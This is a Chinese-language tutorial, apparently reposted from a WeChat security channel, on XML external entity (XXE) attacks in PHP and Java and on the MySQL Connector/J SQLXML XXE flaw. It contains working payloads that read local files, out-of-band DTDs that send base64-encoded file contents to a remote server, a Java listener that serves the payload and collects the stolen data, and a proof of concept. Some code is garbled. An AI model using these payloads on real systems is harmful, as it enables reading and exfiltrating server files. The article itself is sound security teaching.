点击上方蓝字 关注我吧
XXE基础知识
-
HTML 被设计用来显示数据,其焦点是数据的外观;XML 被设计用来传输和存储数据,其焦点是数据的内容。
-
HTML 的标签需要预定义,XML 的标签是自定义的。
-
所有 XML 元素都必须有关闭标签、XML 标签对大小写敏感、XML 必须正确地嵌套、XML 文档必须有根元素、XML 的属性值必须加引号、XML 连续的空格会被保留。
-
XML 一些字符拥有特殊的意义,需要被实体引用。
|
|
|
< |
|
|
> |
|
|
& |
|
|
' |
|
|
" |
|
|
-
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
是 XML 的头文件属性,用于声明 XML 文档的版本和编码,必须放在文档的开头。version 代表版本;encoding 代表字符编码方式;standalone 代表这个 XML 文件是独立的还是依赖于外部 DTD 文件,当值为 yes 时表示 DTD 仅用于验证文档结构,从而外部实体将被禁用,默认值为 no。
1、实体 ENTITY
命名实体(内部实体)
内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在 DTD 或者 XML 文件开始部分(<!DOCTYPE>)中。
命名实体语法 <!ENTIY 实体名称 "实体的值">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Part!"> ]>
<root><x>&x;</x></root>
<!-- 定义了一个实体名称 x 值为 First Part! -->
<!-- &x; 用于引用实体 x -->
利用 &实体名;
引用实体,在 DTD 中定义 ,在 XML 文档中引用。
外部普通实体
外部实体用于加载外部文件的内容。
外部普通实体语法 <!ENTIY 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY outfile SYSTEM "outfile.xml"> ]>
<root><outfile>&outfile;</outfile></root>
<!-- &outfile; 用于引用实体 outfile -->
<!-- 一般有回显的 xxe 我们通常用 "file:///etc/passwd" 来替换其中的 "outfile.xml"-->
外部参数实体
-
使用 % 实体名
(注意空格!) 在 DTD 中定义,并且只能在 DTD 中 使用%实体名;
引用。 -
只有在 DTD 文件中才能在参数实体声明的时候引用其他实体。 -
参数实体可以外部引用。
-
栗子一
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % outfile SYSTEM "outfile.xml">
%outfile;]>
<!-- %outfile 用于引用实体 outfile -->
-
栗子二
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % part1 "Hello">
<!ENTITY % part2 " ">
<!ENTITY % part3 "world">
<!ENTITY % dtd SYSTEM "test.dtd">
%dtd;]>
<root><content>&content;</content></root>
<!-- test.dtd -->
<!ENTIY content "%part1;part2;part3;">
<!-- 最后解析的结果为 Hello world-->
-
栗子三
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
<!-- test.dtd -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
-
%remote 请求远程 vps 上的 test.dtd。 -
%int 调用 test.dtd 中的 %file。 -
%file 获取服务器上的敏感文件,并传入 %send。 -
%send 将数据发送到远程 vps 上。
支持的协议
php中的XXE
SimpleXML
函数。有回显读本地敏感文件(Normal XXE)
#xxe.php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
<!-- payload -->
<!ENTITY outfile SYSTEM "file:///c:/windows/system.ini"> ]>
<root>&outfile;</root>
<![CDATA[<]]>
表示文本内容 <
。使用时需要注意A,内容中不能再包含 ]]> 同时不能再嵌套使用。<!-- payload --> "> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/xxe.dtd"> %dtd; ]> <roottag>&all;</roottag><!-- xxe.dtd --> <!ENTITY all "%start;%outfile;%end;">
%
还是会报错的。无回显读取本地敏感文件(Blind OOB XXE)
# blindxxe.php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
<!-- payload -->
<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%remote;%int;%send; ]>
<!-- xxe.dtd -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/admin/Desktop/a/info.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
% send
转换成了 % send
,这是因为实体的值中不能有 % ,所以需要将其转换成 html 实体编码的 % 。import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
public class xxe {
private static String filename = "";
public static void main(String[] args) throws UnknownHostException {
if (args.length < 1) {
System.out.println("usage: java -jar xxe.jar filename nneg:java -jar xxe.jar /etc/passwd");
System.exit(-1);
} else {
filename = args[0];
System.out.println(String.format("payload:n"+"<?xml version="1.0" encoding="utf-8"?>n" +
"<!DOCTYPE convert [n" +
"<!ENTITY %% remote SYSTEM "http://%s:9090/xxe.dtd">n" +
"%%remote;%%int;%%send;n" +
"]>",InetAddress.getLocalHost().getHostAddress()));
try {
HttpServer server = HttpServer.create(new InetSocketAddress(9090), 0);
server.createContext("/xxe.dtd", new xxe.PHPDTDHandler());
server.setExecutor(null);
server.start();
HttpServer xxeserver = HttpServer.create(new InetSocketAddress(9091), 0);
System.out.println(String.format("Listen:%s:%s",InetAddress.getLocalHost().getHostAddress(),9091));
xxeserver.createContext("/",new xxe.ListenHandler());
xxeserver.setExecutor(null);
xxeserver.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
static class ListenHandler implements HttpHandler{
public void handle(HttpExchange t) throws IOException{
String request = t.getRequestURI().getQuery();
System.out.println(request);
t.sendResponseHeaders(200, request.length());
OutputStream os = t.getResponseBody();
os.write(request.getBytes());
os.close();
}
}
static class PHPDTDHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String respone =String.format("<!ENTITY %% file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///%s">n" +
"<!ENTITY %% int "<!ENTITY % send SYSTEM 'http://%s:9091?%%file;'>">",filename,InetAddress.getLocalHost().getHostAddress());
System.out.println("Sending xxe.dtd: n" + respone + "n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
}
}
java中的XXE
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
javax.xml.transform.stream.StreamSource
javax.xml.parsers.SAXParserFactory
import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
public class xxeSearch {
public static List list = new ArrayList();
public static void main(String[] args) throws IOException {
if (args.length < 1) {
System.out.println("usage: java -jar xxeSearch.jar pathnneg:java -jar xxeSearch.jar C:\Users\admin\Desktop\decompiled-mysql-connector-java-8.0.26");
System.exit(-1);
}
String path = args[0];
List filename = searchDir(path);
for (int i = 0; i < filename.size(); i++) {
String name = (String) filename.get(i);
String str = ReaderSource(name);
if(xxeFinder(str)){
System.out.println(name + " this class maybe have XXE!!!!!!!!!");
}
}
}
private static List searchDir(String path){
File file = new File(path);
File[] array = file.listFiles();// 获得文件夹内的所有文件
for(int i=0;i<array.length;i++)
{
if(array[i].isFile()){
//System.out.println(path+array[i].getName());
list.add(path+array[i].getName());
}else if(array[i].isDirectory()){
//System.out.println(array[i].getName());
searchDir(array[i].getPath()+"\"); //递归获取文件夹名
}
}
return list;
}
private static String ReaderSource(String path) {
StringBuffer result = new StringBuffer();
File file = new File(path);
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); //构造一个 BufferReader 类读取文件
String tempStr = null;
while ((tempStr = bufferedReader.readLine()) != null) { //使用 readLine 方法,一次读取一行
result.append(tempStr);
}
bufferedReader.close();
} catch (Exception e) {
e.printStackTrace();
}
return result.toString();
}
private static boolean xxeFinder(String str){
//String XXE_Regex = ".*javax.xml.parsers.DocumentBuilderFactory.*";
String XXE_Regex=".*javax.xml.*|.*org.xml.sax.*|.*javax.xml.parsers.DocumentBuilderFactory.*|.*javax.xml.parsers.SAXParser.*|.*javax.xml.transform.TransformerFactory.*|.*javax.xml.validation.Validator.*|.*javax.xml.validation.SchemaFactory.*|.*javax.xml.transform.sax.SAXTransformerFactory.*|.*javax.xml.transform.sax.SAXSource.*|.*org.xml.sax.XMLReader.*|.*org.xml.sax.helpers.XMLReaderFactory.*|.*org.dom4j.io.SAXReader.*|.*org.jdom.input.SAXBuilder.*|.*org.jdom2.input.SAXBuilder.*|.*javax.xml.bind.Unmarshaller.*|.*javax.xml.xpath.XpathExpression.*|.*javax.xml.stream.XMLStreamReader.*|.*org.apache.commons.digester3.Digester.*|.*javax.xml.ws.EndpointReference.*|.*javax.xml.transform.stream.StreamSource.*|.*javax.xml.parsers.SAXParserFactory.*";
return Pattern.matches(XXE_Regex,str);
}
}
MySQL JDBC XXE漏洞
漏洞分析
infected: mysql-connector-java <= 8.0.26
fixed: mysql-connector-java > 8.0.27
pom.xml
中添加依赖。<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
com.mysql.cj.jdbc.MysqlSQLXML#getSource
com.mysql.cj.jdbc.MysqlSQLXML#getSource
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
没有做相关校验和判断,直接实例化对象,从而可以在XML 中引入外部实体,造成 XXE 攻击。inputSource
他可以由 this.stringRep
来决定, 关注一下 this.stringRep
的赋值操作。com.mysql.cj.jdbc.MysqlSQLXML#setString
stringRep
的同时也设定了 fromResultSet
的值为 flasecom.mysql.cj.jdbc.MysqlSQLXML
类继承于 java.sql.SQLXML
所以只需要创建一个 SQLXML
对象,就可以调用其 getSource
和 setString
方法。Connection.createSQLXML
用于创建一个空的 SQLXML
对象。SQLXML.setString
方法用于将数据写入创建的 SQLXML
对象。理论验证
import javax.xml.transform.dom.DOMSource;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLXML;public class Poc { private static final String connection_url = "jdbc:mysql://127.0.0.1:3306/mysqlxxe"; private static final String connection_user = "mysqlxxe"; private static final String connection_pass = "mysqlxxe"; private static final String poc = "" + "<!DOCTYPE b [" + " <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/poc.txt">" + "]>" + "<name>&xxe;</name>"; public static void main(String[] args) throws Exception { Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass); SQLXML sqlxml = connection.createSQLXML(); sqlxml.setString(poc); sqlxml.getSource(DOMSource.class); } }
实际操作
create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);
insert into tb_test(message) values(' ');
Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
-
使用 sqlxml.setString() 函数 (攻击者可以调用或传递任意参数到 setString 函数)。 -
将 XML 放入 DB 并使用 resultSet.getSQLXML() 函数通过结果集检索它 (如果攻击者对数据库具有访问权限,或者将受害者指向攻击者控制的数据库)。
原文始发于微信公众号(SecIN技术平台):原创 | 纸上得来终觉浅—XXE大杂烩